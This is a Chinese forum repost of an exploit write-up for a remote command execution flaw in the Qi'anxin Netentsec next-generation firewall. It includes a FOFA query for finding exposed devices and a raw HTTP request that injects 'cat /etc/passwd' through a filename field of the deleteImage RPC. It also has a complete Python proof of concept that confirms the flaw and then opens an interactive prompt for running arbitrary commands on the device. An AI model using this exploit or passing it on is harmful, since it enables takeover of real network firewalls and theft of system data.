标题:
奇安信 网康下一代防火墙 RCE 2021 HW
[打印本页]
作者:
linda
时间:
2021-4-12 18:31
标题:
奇安信 网康下一代防火墙 RCE 2021 HW
漏洞描述
奇安信 网康下一代防火墙存在远程命令执行,通过漏洞攻击者可以获取服务器权限
漏洞影响
Note
奇安信 网康下一代防火墙
FOFA
Note
app="网康科技-下一代防火墙"
漏洞复现
登录页面如下
发送如下请求包
POST /directdata/direct/router HTTP/1.1Host: XXX.XXX.XXX.XXXConnection: closeContent-Length: 179Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Content-Type: application/jsonUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
再请求获取命令执行结果
http://xxx.xxx.xxx.xxxx/test_cmd.txt
漏洞POC
import requestsimport sysimport randomfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des:
http://wiki.peiqi.tech
\033[0m') print('+ \033[34mGithub :
https://github.com/PeiQi0
\033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 奇安信 网康下一代防火墙 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>>
http://xxx.xxx.xxx.xxx
\033[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "/directdata/direct/router" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36", "Content-Type": "application/json", } data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5) if response.status_code == 200 and "success" in response.text: print("\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m".format(target_url)) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5) if "root" in response.text and response.status_code == 200: print("\033[32m[o] 响应为: {} \033[0m".format(response.text)) while True: cmd = input("\033[35mCmd >>> \033[0m") if cmd == "exit": sys.exit(0) else: POC_2(target_url, cmd) else: print("\033[31m[x] 目标不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, cmd): vuln_url = target_url + "/directdata/direct/router" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36", "Content-Type": "application/json", } data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5) print("\033[32m[o] 响应为: \n{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
原文:
http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E5%A5%87%E5%AE%89%E4%BF%A1/%E5%A5%87%E5%AE%89%E4%BF%A1%20%E7%BD%91%E5%BA%B7%E4%B8%8B%E4%B8%80%E4%BB%A3%E9%98%B2%E7%81%AB%E5%A2%99%20RCE.html
欢迎光临 中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)
Powered by Discuz! 6.0.0